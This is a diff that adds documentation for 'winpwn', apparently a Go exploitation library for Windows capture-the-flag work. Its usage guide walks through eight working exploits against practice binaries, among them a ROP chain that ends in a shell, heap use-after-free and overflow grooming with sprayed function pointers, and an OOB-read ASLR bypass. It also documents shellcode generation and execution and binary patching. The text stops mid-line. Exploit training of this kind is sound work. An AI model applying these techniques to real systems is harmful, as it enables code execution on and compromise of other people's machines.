(includes a pin against pwntools' + `cyclic(20)`). +- [tube_test.go](tube_test.go): `Send`/`Recv*`/`SendAfter`/timeouts/`Close` + against an `io.Pipe`-backed transport. +- [gadgets_test.go](gadgets_test.go), [pe_test.go](pe_test.go): fixture-based, + against `examples/bof_basic/bof_win.c.exe`. Skip (do not fail) when the fixture + or `rp-win.exe` is absent. +- [heap_test.go](heap_test.go), [heap_lfh_test.go](heap_lfh_test.go), + [heap_segment_test.go](heap_segment_test.go), [spray_test.go](spray_test.go): + synthetic buffers and captured live-run data. + +Not covered: +- Live-process paths (`OpenPEFromProcess`, `ResolveModuleBase`, + `SpawnSuspended`/`ResumeMainThread`) — need a real target PID. +- `shellcraft.go`/`shellcode_exec_windows.go` execution. +- `patch.go` round-trip (patch a real binary, recompute checksum, compare). + +Note: the fixture binary referenced by the PE/gadget tests is not present in the +tree; those tests currently skip. A green `go test` therefore does not exercise +the PE, gadget, or heap paths until the fixture is restored. diff --git a/USAGE.md b/USAGE.md new file mode 100644 index 0000000..91477b9 --- /dev/null +++ b/USAGE.md @@ -0,0 +1,740 @@ +# winpwn usage guide + +Worked examples, then a function-by-function reference. + +## Setup + +Write solve scripts in `C:\tools\workspace\`, not inside `go_pwner\` (the library +source). + +``` +C:\tools\ +├── go_pwner\ ← library source +└── workspace\ ← solve scripts + ├── go.mod ← replace winpwn => ../go_pwner + └── mytask\ + ├── main.go + └── chal.exe +``` + +```bash +cd C:\tools\workspace +mkdir mytask && cd mytask +copy path\to\chal.exe . +# write main.go, then: +go run . +``` + +`import "winpwn"` resolves anywhere inside `workspace\` via the `replace` +directive in `go.mod`. Examples below assume the working directory holds the +target binary and are run with `go run main.go`. + +## Example 1 — info leak + redirect + +Target ([workspace/task1_leak](workspace/task1_leak)) leaks the address of +`main`, then reads a hex address from stdin and jumps to it. No ASLR, so `win()` +is at a fixed offset from `main`. + +```go +tube, err := winpwn.Spawn("./task1.exe") +if err != nil { + log.Fatalf("Spawn: %v", err) +} + +if _, err := tube.RecvUntil([]byte("main: ")); err != nil { + log.Fatalf("RecvUntil: %v", err) +} +addrBytes, err := tube.RecvUntil([]byte("\n")) +mainAddr, _ := strconv.ParseUint(string(bytes.TrimSpace(addrBytes)), 16, 64) + +winAddr := mainAddr - 267 // addr(win) - addr(main), found once in x64dbg +payload := fmt.Sprintf("%x", winAddr) + +if err := tube.SendLineAfter([]byte("0x12345: "), []byte(payload)); err != nil { + log.Fatalf("SendLineAfter: %v", err) +} +tube.Interactive() +``` + +``` +[+] Leaked main: 0x7FF71CC51657 +[+] Calculated win: 0x7FF71CC5154C +Your input: 7ff71cc5154c +You won! +flag{FLAG} +[*] Process exited normally (code 0) +``` + +## Example 2 — checksec + ROP + verified gadget chain + +Target ([workspace/task2_rop](workspace/task2_rop)) is DEP-protected with +`win(int secret)` exported (`__declspec(dllexport)`) and a stack overflow in +`vulnerable()`. Win condition: return into `win()` with RCX = `0xdeadbeef`. + +Confirm mitigations: + +```go +pf, _ := winpwn.OpenPE("task2.exe") +r, _ := pf.Checksec() +// r.ASLR == false, r.DEP == true +``` + +Resolve `win()` from the export table: + +```go +winRVA, _ := pf.GetProcAddress("win") +imageBase, _ := pf.ImageBase() +winAddr := imageBase + winRVA +``` + +Find and verify a `pop rcx ; ret` gadget: + +```go +rop, _ := winpwn.NewROP("task2.exe") // requires rp-win.exe (see ROP section) +defer rop.Close() + +popRcx := rop.Find("pop rcx ; ret")[0].Address // index 0 = cleanest ranked match + +lines, _ := rop.Disassemble(popRcx, 2) +fmt.Println(lines) // ["pop rcx", "ret"] +``` + +Build and send the chain: + +```go +ret := retGadgets[0].Address // bare "ret" for stack alignment + +payload := bytes.Repeat([]byte("A"), offset) +payload = append(payload, winpwn.P64(popRcx)...) +payload = append(payload, winpwn.P64(0xDEADBEEF)...) +payload = append(payload, winpwn.P64(ret)...) +payload = append(payload, winpwn.P64(winAddr)...) + +tube, _ := winpwn.Spawn("task2.exe") +tube.SendLineAfter([]byte("Input: "), payload) +tube.Interactive() +``` + +`offset` is the distance from the buffer to the saved return address. For this +build it is 56 bytes (`buf` at `rbp-0x30`, plus the 8-byte saved RBP), not the +40 a "32-byte buffer + saved RBP" estimate would give. Confirm it per target with +`objdump -d` / `rop.Disassemble` / a cyclic pattern; do not assume the source +comment's number. + +``` +[+] win() address: 0x140001538 +[+] pop rcx; ret address: 0x140002740 +[*] verified: [pop rcx ret] +you just got shell +[*] Switching to interactive mode +Microsoft Windows [Version 10.0.19045.5737] +C:\...\task2_rop> +``` + +## Example 3 — LFH use-after-free + +Target ([workspace/heap_lfh](workspace/heap_lfh)) creates a private heap forced +into LFH mode via `HeapSetInformation(heap, HeapCompatibilityInformation, 2)`. +It manages `Note{ char title[24]; void (*onPrint)(const char*); }` (32 bytes): +`A ` allocates and leaks the address, `F ` frees without clearing the +pointer, `B ` allocates a raw 32-byte buffer, `P ` calls +`notes[id]->onPrint(...)` with no liveness check (the bug). + +Technique: allocate filler notes, allocate the victim last, free it, then spray +32-byte buffers (each a fake `Note` with `onPrint = win()`), checking each +spray's leaked address against the victim's. Freeing the most recently allocated +same-size object makes the freed slot come back within a handful of attempts. + +```go +for i := 0; i < 5; i++ { + tube.SendLine([]byte(fmt.Sprintf("A filler%d", i))) + tube.RecvLine() +} +tube.SendLine([]byte("A victim")) +resp, _ := tube.RecvLine() +victimAddr, _ := parseAddr(resp) // "OK id=5 addr=0x..." +tube.SendLine([]byte("F 5")) +tube.RecvLine() + +payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winAddr)...) +payloadHex := winpwn.Enhex(payload) + +// Seed with the freed victim's address; stop when a spray matches it. +victim := winpwn.SprayResult[uint64]{ID: 5, Key: victimAddr} +_, _, attempts, ok, _ := winpwn.SprayAndFind( + []winpwn.SprayResult[uint64]{victim}, 64, + func(attempt int) (winpwn.SprayResult[uint64], error) { + tube.SendLine([]byte("B " + payloadHex)) + resp, err := tube.RecvLine() + addr, perr := parseAddr(resp) + if perr != nil { + err = perr + } + return winpwn.SprayResult[uint64]{ID: attempt, Key: addr}, err + }, + func(a, b uint64) bool { return a == b }, +) +tube.SendLine([]byte("P 5")) // onPrint is now win() +tube.Interactive() +``` + +Note: which object you free determines whether reuse happens in ~1 attempt or not +at all. Freeing an early allocation and waiting for it to return this way is +unreliable — LFH favors the subsegment being actively filled. Every grooming +number here was measured on one Windows build (10.0.26100); re-measure per target. + +## Example 4 — Segment Heap adjacent-chunk overflow + +Target ([workspace/heap_segment](workspace/heap_segment)) opts into Segment Heap +via an embedded manifest (`SegmentHeap`). It manages +`Profile{ char name[24]; void (*describe)(const char*); }` (32 bytes). Bug: +`O ` `memcpy`s `len(hex)/2` bytes at `profiles[id]` with no bounds +check. The heap signature at `GetProcessHeap()+0x10` is `0xddeeddee` (Segment +Heap); `0xffeeffee` would be NT Heap. + +Segment Heap randomizes placement within the page, so sequential allocations are +not adjacent in memory. Technique: spray, leak every address, find any pair +exactly `sizeof(Profile)` = 32 bytes apart; the lower one overflows into the +higher one's `describe` field. + +```go +// No seed: each new sample is checked against all prior samples. +a, b, _, ok, _ := winpwn.SprayAndFind(nil, 20, + func(i int) (winpwn.SprayResult[uint64], error) { + tube.SendLine([]byte(fmt.Sprintf("A filler%d", i))) + resp, err := tube.RecvLine() + id, addr, perr := parseIDAndAddr(resp) + if perr != nil { + err = perr + } + return winpwn.SprayResult[uint64]{ID: id, Key: addr}, err + }, + func(x, y uint64) bool { + d := int64(y) - int64(x) + return d == 32 || d == -32 // sizeof(Profile) + }, +) +attackerID, victimID := a.ID, b.ID +if a.Key > b.Key { // lower address overflows forward + attackerID, victimID = b.ID, a.ID +} + +payload := append(bytes.Repeat([]byte{0x41}, 56), winpwn.P64(winAddr)...) +tube.SendLine([]byte(fmt.Sprintf("O %d %s", attackerID, winpwn.Enhex(payload)))) +tube.SendLine([]byte(fmt.Sprintf("D %d", victimID))) +tube.Interactive() +``` + +The same `SprayAndFind` primitive handles Example 3 (equality match) and this +case (distance match) with a different `match` function. The 32-byte distance and +"spray 20 finds a pair" are facts about this struct on this build; re-measure. + +## Example 5 — native debugger session + +Composes `SpawnSuspended`/`ResumeMainThread` (target has not executed an +instruction when the debugger attaches) with `Attach`, and breaks at the PE's +real entry point (ASLR-safe: resolve the module base at runtime, add the disk +PE's entry RVA). + +```go +diskPE, _ := winpwn.OpenPE("target.exe") +diskBase, _ := diskPE.ImageBase() +diskEntry, _ := diskPE.EntryPoint() +diskPE.Close() +entryRVA := diskEntry - diskBase + +tube, pid, _ := winpwn.SpawnSuspended("target.exe") +dbg, _ := winpwn.Attach(pid) +winpwn.ResumeMainThread(pid) + +var bpSet bool +for ev := range dbg.Events() { + if !bpSet { + if base, err := winpwn.ResolveModuleBase(pid, "target.exe"); err == nil { + dbg.SetBreakpoint(uintptr(base) + uintptr(entryRVA)) + bpSet = true + } + } + hitEntry := ev.Kind == winpwn.EventBreakpoint + if hitEntry { + regs, _ := dbg.GetContext(ev.ThreadID) + fmt.Printf("hit entry point, Rip=0x%x Rsp=0x%x\n", regs.Rip, regs.Rsp) + } + dbg.Continue(ev) // every event, breakpoint included + if hitEntry { + break + } +} +dbg.Close() +tube.Close() +``` + +Notes: +- `ResolveModuleBase` fails on the first event or two (loader not run yet); the + loop retries each event until it succeeds. +- A breakpoint event's `Rip` reads back exactly equal to the breakpoint address. + The CPU leaves `Rip` one byte past the `int3`; `Attach` rewinds it before the + event is delivered. +- `Continue` past a breakpoint re-arms it (restore byte, single-step, rewrite + `0xCC`), so the loop must call `Continue` even on the event it breaks out on. + +## Example 6 — UAF type confusion, no LFH + +Two same-size (32-byte) structs: `Note{char title[24]; void(*onPrint)(char*)}` +and `Token{char data[24]; void(*validate)(char*)}`. `D` frees a Note but leaves +the table pointer. No LFH, so the freed slot returns on the next 32-byte +allocation ([workspace/heap_typemix](workspace/heap_typemix)). + +```go +tube.SendLine([]byte("N victim")) +resp, _ := tube.RecvLine() // "OK id=0 addr=0x..." +victimAddr, _ := parseAddr(resp) + +tube.SendLine([]byte("D 0")) +tube.RecvLine() + +payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winAddr)...) +tube.SendLine([]byte("T " + winpwn.Enhex(payload))) +tube.RecvLine() + +tube.SendLine([]byte("P 0")) // note[0]->onPrint is now win() +tube.Interactive() +``` + +## Example 7 — adjacent-chunk overflow, NT Heap backend + +`Note{char buf[24]; void(*action)(char*)}` = 32 bytes. `W ` writes +hex-decoded bytes to `note->buf` with no bounds check. Two notes allocated +sequentially on a clean NT Heap backend (no LFH at 2 allocations) are adjacent. +Overflow layout from note[0]: 24 (buf) + 8 (action) + 16 (NT `_HEAP_ENTRY` +header) + 24 (note[1].buf) + 8 (note[1].action) = 80 bytes; `win()` at offset 72 +([workspace/heap_overflow](workspace/heap_overflow)). + +```go +tube.SendLine([]byte("A note0")) +tube.RecvLine() +tube.SendLine([]byte("A note1")) +tube.RecvLine() + +payload := bytes.Repeat([]byte{0x41}, 24) // note[0].buf +payload = append(payload, bytes.Repeat([]byte{0x42}, 8)...) // note[0].action +payload = append(payload, bytes.Repeat([]byte{0x43}, 16)...) // _HEAP_ENTRY header +payload = append(payload, bytes.Repeat([]byte{0x44}, 24)...) // note[1].buf +payload = append(payload, winpwn.P64(winAddr)...) // note[1].action = win() + +tube.SendLine([]byte("W 0 " + winpwn.Enhex(payload))) +tube.RecvLine() +tube.SendLine([]byte("C 1")) +tube.Interactive() +``` + +## Example 8 — OOB read defeats ASLR + UAF + +ASLR enabled (`winpwn checksec` shows `ASLR: Yes`). `S ` prints `len` +bytes of `note->data` with no bounds check, leaking the 8-byte `onShow` pointer +(= `real_show`, an export). The static RVA difference between `win` and +`real_show` gives `win()` ([workspace/heap_info_leak](workspace/heap_info_leak)). + +```go +// Static RVA difference (constant regardless of ASLR) +pf, _ := winpwn.OpenPE("heap_info_leak.exe") +realShowRVA, _ := pf.GetProcAddress("real_show") +winRVA, _ := pf.GetProcAddress("win") +rvaDiff := int64(winRVA) - int64(realShowRVA) +pf.Close() + +// Leak onShow via OOB read +tube.SendLine([]byte("N victim")) +tube.RecvLine() +tube.SendLine([]byte("S 0 32")) // 24 safe, request 32 +resp, _ := tube.RecvLine() // "HEX <64hexchars>" + +hexBytes, _ := hex.DecodeString(string(bytes.TrimPrefix(resp, []byte("HEX ")))) +realShowVA := binary.LittleEndian.Uint64(hexBytes[24:32]) +winVA := uint64(int64(realShowVA) + rvaDiff) + +// UAF (as Example 6) +tube.SendLine([]byte("D 0")) +tube.RecvLine() +payload := append(bytes.Repeat([]byte{0x41}, 24), winpwn.P64(winVA)...) +tube.SendLine([]byte("T " + winpwn.Enhex(payload))) +tube.RecvLine() +tube.SendLine([]byte("P 0")) +tube.Interactive() +``` + +--- + +## Function reference + +### Tubes (`tube.go`, `process.go`, `remote.go`) + +```go +t, err := winpwn.Spawn("./target.exe") // local process +t, err := winpwn.Remote("host", "1337") // TCP + +t.Send([]byte("data")) // no trailing newline +t.SendLine([]byte("data")) // + Context.Newline +t.SendAfter([]byte("delim"), []byte("data")) +t.SendLineAfter([]byte("delim"), []byte("data")) + +buf, err := t.Recv(64) // up to 64 bytes +line, err := t.RecvUntil([]byte("delim")) // inclusive of delim +line, err := t.RecvLine() // == RecvUntil(Context.Newline) +data, err := t.RecvPred(func(b []byte) bool { return len(b) > 10 }) +data, err := t.RecvRegex(regexp.MustCompile(`\d+`)) + +t.SetTimeout(2 * time.Second) // overrides Context.Timeout +t.Interactive() // hand stdin/stdout to the terminal +t.Close() // idempotent +``` + +Every `Send*`/`Recv*` returns `error`. + +### Named pipes (`pipe_windows.go`) + +```go +tube, err := winpwn.ServePipe("mypipe") // server: \\.\pipe\mypipe, blocks for one client +tube, err := winpwn.DialPipe("mypipe") // client +``` + +Returns a `*Tube`; every tube method works over a named pipe. Opened with +`PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED`. + +### Context & logging (`context.go`, `log.go`) + +```go +winpwn.Context.Timeout = 5 * time.Second // global default for new tubes +winpwn.Context.LogLevel = winpwn.LogLevelSilent + +winpwn.Info("leaked: 0x%x", addr) // [*] +winpwn.Success("got shell") // [+] +winpwn.Warn("retrying") // [!] +winpwn.Error("gadget not found") // [-] +``` + +### Packing (`packing.go`) + +```go +winpwn.P16(0x1234) // []byte{0x34, 0x12} +winpwn.P32(addr32) +winpwn.P64(addr64) +winpwn.U32(buf) +winpwn.U64(buf) +``` + +### Cyclic patterns (`cyclic.go`) + +```go +pattern := winpwn.Cyclic(200) // de Bruijn, n=4 (default) +pattern8 := winpwn.CyclicN(200, 8) // n=8, for 64-bit pointer offsets + +offset := winpwn.CyclicFind(crashedRIPBytes) // n=4 +offset8 := winpwn.CyclicFindN(crashedRIPBytes, 8) // n=8 +``` + +### Fiddling (`fiddling.go`) + +```go +winpwn.Hexdump(data) // hex+ASCII dump, string +hexStr := winpwn.Enhex(data) +raw, err := winpwn.Unhex(hexStr) +xored := winpwn.Xor(data, []byte{0x41}) // key cycles if shorter than data +``` + +### PE parsing (`pe.go`, `sections.go`) + +```go +pf, err := winpwn.OpenPE("target.exe") +defer pf.Close() + +base, _ := pf.ImageBase() +entry, _ := pf.EntryPoint() +is64, _ := pf.Is64Bit() + +for _, sec := range pf.Sections() { + sec.IsReadable(); sec.IsWritable(); sec.IsExecutable(); sec.IsRWX() + sec.VirtualAddress // RVA in the loaded image + sec.Offset // PointerToRawData, file offset on disk + entropy, _ := sec.Entropy() +} +packed, _ := pf.LikelyPackedSections(0) // 0 == default UPX-style 7.2 threshold + +offsets, err := pf.SearchBytes([]byte("cmd.exe\x00")) + +// Distinct imported DLLs, each LoadLibrary'd for its live image base. +// System DLL bases are randomized per boot, not per process, so this is valid +// machine-wide until the next reboot without running the target. +libs, err := pf.ImportedLibs() // []ImportedLib{Name, Base, Err} +``` + +Live-process memory, not just a disk file (`procmem_windows.go`): + +```go +base, err := winpwn.ResolveModuleBase(pid, "kernel32.dll") +pf, err := winpwn.OpenPEFromProcess(pid, base) +// every accessor (Checksec, ListExports, NewROP, ...) works identically here +``` + +### Loaded-module symbols (`symbols_windows.go`) + +Analogue of pwntools' `p.libs` / `p.symbols`. For multiple lookups, use +`ProcessSymbols`: + +```go +tube, _ := winpwn.Spawn("chal.exe") +sym := winpwn.NewProcessSymbols(tube.PID()) // tube.PID() -> uint32 +defer sym.Close() + +k32, _ := sym.Base("kernel32.dll") // p.libs["kernel32.dll"] +winexec, _ := sym.Symbol("kernel32.dll", "WinExec") // p.symbols["kernel32.dll"]["WinExec"] +mods, _ := sym.Modules() // map[string]uint64 +all, _ := sym.AllSymbols("kernel32.dll") // map[string]uint64 +``` + +`ProcessSymbols` caches one `PEFile` per DLL. For one-off lookups: + +```go +libs, _ := winpwn.ListLoadedModules(pid) // map[string]uintptr +va, _ := winpwn.SymbolVA(pid, "kernel32.dll", "WinExec") +``` + +### Checksec (`checksec.go`) + +```go +r, err := pf.Checksec() +// r.ASLR, r.HighEntropyVA, r.DEP, r.CFG, r.SafeSEH (x86 only; r.SEHApplicable +// reports whether SafeSEH applies), r.GSHeuristic, r.AuthenticodeSigned, r.DotNET +``` + +`VerifyAuthenticodeSignature(path)` ([authenticode_windows.go](authenticode_windows.go)) +verifies a signature via `WinVerifyTrust`, not just its presence. + +### Exports / imports (`exports.go`, `imports.go`) + +```go +exports, err := pf.ListExports() // []Export{Name, Ordinal, RVA, ForwardTarget} +fnRVA, err := pf.GetProcAddress("CreateFileW") + +imports, err := pf.ListImports() // []Import{DLL, Name, Ordinal, IATRVA} +imp, err := pf.FindImport("VirtualProtect") // whether the binary imports X +``` + +### ROP gadgets (`gadgets.go`, `rop.go`) + +`NewROP` shells out to `rp-win.exe` (resolved from `RP_WIN_EXE` or +`C:\tools\rp-win\rp-win.exe`), run with `--allow-branches`, so results include +JOP transit gadgets (`jmp reg`/`call reg`) as well as ret-terminated ones. + +```go +rop, err := winpwn.NewROP("target.exe") +defer rop.Close() + +addr := rop.Find("pop rcx ; ret")[0].Address // ranked, index 0 = cleanest +gadgets, err := rop.Search("pop rcx ; ret") // same search, (results, error) +gadgets, err := rop.SearchRegex(`^pop r\w+ ; ret$`) // regex match +lines, err := rop.Disassemble(addr, 3) // verify a chain in-script + +ropExt, err := winpwn.NewROPExternal("target.exe", `C:\other\rp++.exe`) // explicit tool path +``` + +`Find` indexes into an empty slice (panics) on no match — a deliberate loud +failure at the lookup rather than a garbage address downstream. + +### Patching (`patch.go`) + +```go +pf, err := winpwn.OpenPEForWrite("target.exe") +defer pf.Close() + +pf.MakeSectionExecutable(".data") +pf.MakeSectionWritable(".text") +pf.DisableTLSCallbacks() +pf.PatchBytes(rva, []byte{0x90, 0x90}) +pf.RecalculateChecksum() +``` + +### Shellcode (`shellcraft.go`, `shellcode_exec_windows.go`) + +```go +code, err := winpwn.ShellcodeWinExec("calc.exe") // PIC x64, resolves kernel32 via the PEB +err := winpwn.ExecuteShellcode(code) // run locally to validate the template +``` + +### Minidump (`minidump.go`) + +```go +m, err := winpwn.OpenMinidump("crash.dmp") +defer m.Close() + +mods, err := m.Modules() // []MinidumpModule{Name, BaseOfImage, SizeOfImage, ...} +exc, err := m.Exception() // *MinidumpException{ThreadID, ExceptionCode, ExceptionAddress, Parameters} +raw, err := m.RawStream(winpwn.StreamSystemInfo) // any stream not decoded natively +``` + +### Debugger (`debugger_windows.go`) + +```go +tube, pid, err := winpwn.SpawnSuspended("target.exe") +dbg, err := winpwn.Attach(pid) // before ResumeMainThread to see everything +winpwn.ResumeMainThread(pid) + +for ev := range dbg.Events() { + // ev.Kind: EventBreakpoint/EventException/EventCreateProcess/ + // EventCreateThread/EventExitThread/EventExitProcess/EventLoadDll/ + // EventUnloadDll/EventOutputDebugString + if ev.Kind == winpwn.EventBreakpoint { + regs, _ := dbg.GetContext(ev.ThreadID) // Rax..R15, Rsp, Rbp, Rip, EFlags + dbg.SetContext(ev.ThreadID, regs) + data, _ := dbg.ReadMemory(uintptr(regs.Rsp), 32) + dbg.WriteMemory(someAddr, []byte{0x90}) + } + dbg.Continue(ev) // required for every event +} + +dbg.SetBreakpoint(addr) // software INT3; Continue re-arms it +dbg.RemoveBreakpoint(addr) +dbg.Step(tid) // single-step (not meaningful right at a fresh breakpoint hit) +dbg.Close() // detach without killing the target +``` + +### Heap struct parsing (`heap.go`, `heap_lfh.go`, `heap_segment.go`, `heap_windows.go`) + +All heap APIs work against any `io.ReaderAt` (`*ProcessMemory`, `*Debugger`, or a +test buffer). Only `ListProcessHeaps` needs a live process (walks the PEB). + +```go +// Find heaps +heaps, err := winpwn.ListProcessHeaps(pid) // reads PEB.ProcessHeaps +kind, err := winpwn.DetectHeapKind(mem, heapAddr) // HeapKindNT or HeapKindSegment + +// NT Heap +h, err := winpwn.ReadHeap(mem, heapAddr) +// h.Flags, h.FrontEndHeapType (FrontEndHeapNone/LFH/Lookaside), h.FrontEndHeap +// h.BaseAddress, h.FirstEntry, h.LastValidEntry, h.EncodingActive() + +entries, err := h.WalkAllHeapEntries(mem) // all segments +entries, err := h.WalkSegment0(mem) // embedded Segment0 only + +// Entry fields +e.Addr; e.BlockSize(); e.UserSize(); e.UserData() +e.Busy(); e.LastEntry(); e.VirtualAlloc() +e.PreviousBlockSize(); e.NextEntry() + +// Analysis +stats := winpwn.SummariseEntries(entries) // TotalEntries, BusyEntries, FreeEntries, BusyBytes, FreeBytes +pairs := winpwn.AdjacentBusyPairs(entries) // [][2]HeapEntry +subset := winpwn.EntriesInRange(entries, lo, hi) +hits := winpwn.EntriesWithUserData(entries, leakedAddr1, leakedAddr2) + +// Segments +segAddrs, err := h.Segments(mem) +_, firstEntry, lastValid, err := winpwn.ReadSegmentRange(mem, segAddr) +entries, err := winpwn.WalkSegmentEntries(mem, firstEntry, lastValid, h.EncodingOrNil()) + +// NT Heap LFH +buckets, err := winpwn.ReadLFHBuckets(mem, h.FrontEndHeap) +bucket, err := winpwn.FindLFHBucket(buckets, 32) // 32-byte alloc -> BlockSize >= 32+16 + +subsegAddr, err := winpwn.ActiveSubsegment(mem, h.FrontEndHeap, bucket.Index) +subsegAddrs, err := winpwn.AllSubsegments(mem, h.FrontEndHeap, bucket.Index) + +subseg, err := winpwn.ReadLFHSubsegment(mem, subsegAddr) +// subseg.BlockSize, subseg.BlockCount, subseg.Busy ([]bool), subseg.UserBlocksAddr + +off := winpwn.CalibrateLFHFirstBlockOffset(subseg, knownAddr) // anchor on a leaked address +addr := subseg.BlockAddress(off, slotIndex) +idx, ok := subseg.SlotOf(off, knownAddr) + +// Segment Heap +sh, err := winpwn.ReadSegmentHeap(mem, heapAddr) +// sh.GlobalFlags +// sh.VS -- SegmentVSContext{CommittedUnits, FreeUnits, SubsegmentCount, Subsegments} +// sh.LFH -- SegmentLFHContext{ActiveBuckets: []SegmentLFHBucket{Index, TotalBlockCount}} + +// Address-level adjacency (no chunk-header decode; operates on leaked addresses) +pairs := winpwn.AdjacentAddressPairs(addrs, 32) // all (lo, lo+32) pairs +lo, hi, found := winpwn.FindAdjacentPair(addrs, 32) // first pair +``` + +Empirical facts for build 10.0.26100 (verify on other builds): +- LFH activates per-bucket after ≈19 same-size requests. Earlier allocations go + to the backend and do not appear in the LFH subsegment structure. +- `_HEAP_USERDATA_HEADER.EncodedOffsets` is obfuscated — calibrate with + `CalibrateLFHFirstBlockOffset` against a known address. +- `_HEAP_VS_CHUNK_HEADER.Sizes` is XOR-encoded and not decoded in this pass. +- NT Heap entry XOR-encoding is decoded transparently by walk functions. +- `heap_handle + 0x2c0` stores a pointer within ntdll (observed `ntdll+~0x163d10` + on this build) — usable for an ntdll base leak from a heap address. + +### Spray helper (`spray.go`) + +```go +older, newer, attempts, ok, err := winpwn.SprayAndFind( + seed, // []winpwn.SprayResult[K]{} or pre-seeded with a known target + maxAttempts, + func(attempt int) (winpwn.SprayResult[K], error) { /* one spray -> (id, leaked value) */ }, + func(a, b K) bool { /* the relation: equality, "N apart", etc. */ }, +) +``` + +Examples 3 (seeded equality) and 4 (no-seed pair search) show both shapes. + +### CLI (`cmd/winpwn`) + +``` +winpwn checksec target.exe # mitigations + sections + imported DLLs' live base +winpwn cyclic 200 +winpwn cyclic -l aaab +winpwn hexdump target.exe +winpwn rop target.exe -search "pop rcx ; ret" +winpwn rop target.exe -regex "^pop r.* ; ret$" +winpwn bytes target.exe ebfe # every VA of a byte pattern; accepts "ebfe", "EB FE", "\xeb\xfe" +winpwn disasm target.exe 0x140001538 5 +winpwn exports target.dll +winpwn imports target.exe +winpwn hex / winpwn unhex # stdin-piped +winpwn heap # enumerate all heaps in a live process +winpwn heap -walk # also walk NT Heap entries: busy/free counts + adjacent pairs +``` + +`winpwn rop`/`NewROP` require `rp-win.exe`; a missing tool is a clear error naming +the env var to set. + +### cmd/pwninit + +``` +cd path\to\task_dir +copy \path\to\chal.exe . +pwninit # auto-detects the lone .exe/.dll +``` + +Prints recon (arch, checksec, per-section R/W/Offset/entropy, imported DLLs' live +base), then writes a `go.mod` (`replace winpwn => `, from `WINPWN_HOME` or +`C:\tools\go_pwner`) and a minimal `main.go` (`Spawn` + `Interactive`). Will not +overwrite an existing `go.mod`/`main.go` without `-force`. + +`winpwn heap ` output: + +``` +pid 5160: 3 heap(s) + +[0] 0x0000000000080000 Segment Heap + GlobalFlags=0x00000000 + VS context @ 0x80280: committed=12 free=3 subsegments=1 + LFH active buckets (total-blocks): [5]=50 + +[1] 0x0000000000010000 NT Heap + flags=0x00008000 encoding=true front-end=none + segments: 2 + +[2] 0x00000000001a0000 NT Heap + flags=0x00001002 encoding=true front-end=LFH @ 0x8d0000 + segments: 2 + entries: total=18 busy=16 free=2 busy_bytes=25467 free_bytes=9360 + LFH active buckets: [0]=16b [1]=32b [2]=48b ... +``` + +--- + +See [ROADMAP.md](ROADMAP.md) for implementation status and planned work. diff --git a/USAGE_RU.md b/USAGE_RU.md new file mode 100644 index 0000000..3cc91bd --- /dev/null +++ b/USAGE_RU.md @@ -0,0 +1,395 @@ +# winpwn — краткий справочник + +## Установка CLI (winpwn, pwninit) + +```bash +cd C:\tools\go_pwner +go install ./cmd/winpwn +go install ./cmd/pwninit +``` + +Кладёт `winpwn.exe`/`pwninit.exe` в `%USERPROFILE%\go\bin` (в PATH). После этого +`winpwn`/`pwninit` работают из любой директории. + +Если `go build`/`go install`/`go test` внутри `go_pwner\` падают с +`directory outside module roots` — `C:\tools\go.work` не перечисляет `./go_pwner` +в `use (...)`. Отредактируй файл, не удаляй его (`workspace\` от него зависит). + +Solve-скрипты (`import "winpwn"`) требуют `go.mod` с +`replace winpwn => C:/tools/go_pwner` в каждой задаче — Go не видит модуль вне +`go.work`/`replace`. `pwninit` генерирует это автоматически (см. ниже). + +## Где писать solve-скрипты + +Не в `go_pwner\` (исходник библиотеки). В `C:\tools\workspace\`: + +``` +C:\tools\ +├── go_pwner\ ← библиотека +└── workspace\ ← скрипты + ├── go.mod ← replace winpwn => ../go_pwner + └── mytask\ + ├── main.go + └── chal.exe +``` + +```bash +cd C:\tools\workspace +mkdir mytask && cd mytask +copy path\to\chal.exe . +# main.go, затем: +go run . +``` + +Шаблон `main.go` — в `workspace\template\main.go`. Задачи и решения — в +`workspace\` (бинари, `src\`, solve-скрипты, флаги). + +## CLI — быстрые ответы без скрипта + +``` +winpwn checksec chal.exe # митигации + секции (VA/Offset/Size/entropy) + импортированные DLL с live base +winpwn exports chal.exe # таблица экспортов +winpwn imports chal.exe # IAT +winpwn rop chal.exe -search "pop rcx ; ret" # поиск гаджетов (ret-, jmp-, call-терминированных) +winpwn rop chal.exe -regex "^pop r.* ; ret$" +winpwn bytes chal.exe ebfe # все VA байт-паттерна (jmp $ = EB FE); "ebfe"/"EB FE"/"\xeb\xfe" +winpwn disasm chal.exe 0x140001538 5 # дизасм N инструкций с адреса +winpwn cyclic 200 # de Bruijn паттерн +winpwn cyclic -l aaab # оффсет по подстроке +winpwn hexdump chal.exe +winpwn hex # stdin → hex +winpwn unhex # hex → raw bytes +winpwn heap # все кучи в живом процессе +winpwn heap -walk # + обход записей NT Heap +``` + +Гаджет-поиск (`rop`/`NewROP`) работает через `rp-win.exe` (rp++): по умолчанию +`C:\tools\rp-win\rp-win.exe`, переопределяется `RP_WIN_EXE`. Запуск с +`--allow-branches` — находит `ret`-терминированные цепочки и JOP-транзит через +`jmp reg`/`call reg`. + +### pwninit — начать новую задачу + +```bash +cd C:\tools\workspace +mkdir mytask && cd mytask +copy path\to\chal.exe . +pwninit # автоопределяет chal.exe, если он один в директории +``` + +Печатает recon (arch, checksec, секции R/W/X + Offset + entropy, импортированные +DLL с live base), затем пишет `go.mod` (`replace winpwn => ...`, путь из +`WINPWN_HOME` или `C:\tools\go_pwner`) и минимальный `main.go` (`Spawn` + +`Interactive`). Не перезатирает существующие файлы без `-force`. + +## Tube — I/O с процессом + +```go +t, err := winpwn.Spawn("chal.exe") // локальный процесс +t, err := winpwn.Remote("host", 1337) // TCP + +t.PID() // PID локального процесса (0 для remote) + +t.Send(data) +t.SendLine(data) // + \n +t.SendAfter(delim, data) +t.SendLineAfter(delim, data) + +data, err := t.Recv(64) +data, err := t.RecvUntil(delim) // включая delim +data, err := t.RecvLine() +data, err := t.RecvRegex(re) + +t.Interactive() // передать stdin/stdout в терминал +t.Close() +``` + +## PE — анализ бинаря + +```go +pf, _ := winpwn.OpenPE("chal.exe") +defer pf.Close() + +base, _ := pf.ImageBase() +entry, _ := pf.EntryPoint() +r, _ := pf.Checksec() +// r.ASLR, r.DEP, r.CFG, r.SafeSEH, r.GSHeuristic + +winRVA, _ := pf.GetProcAddress("win") +winAddr := base + winRVA + +exports, _ := pf.ListExports() // []Export{Name, Ordinal, 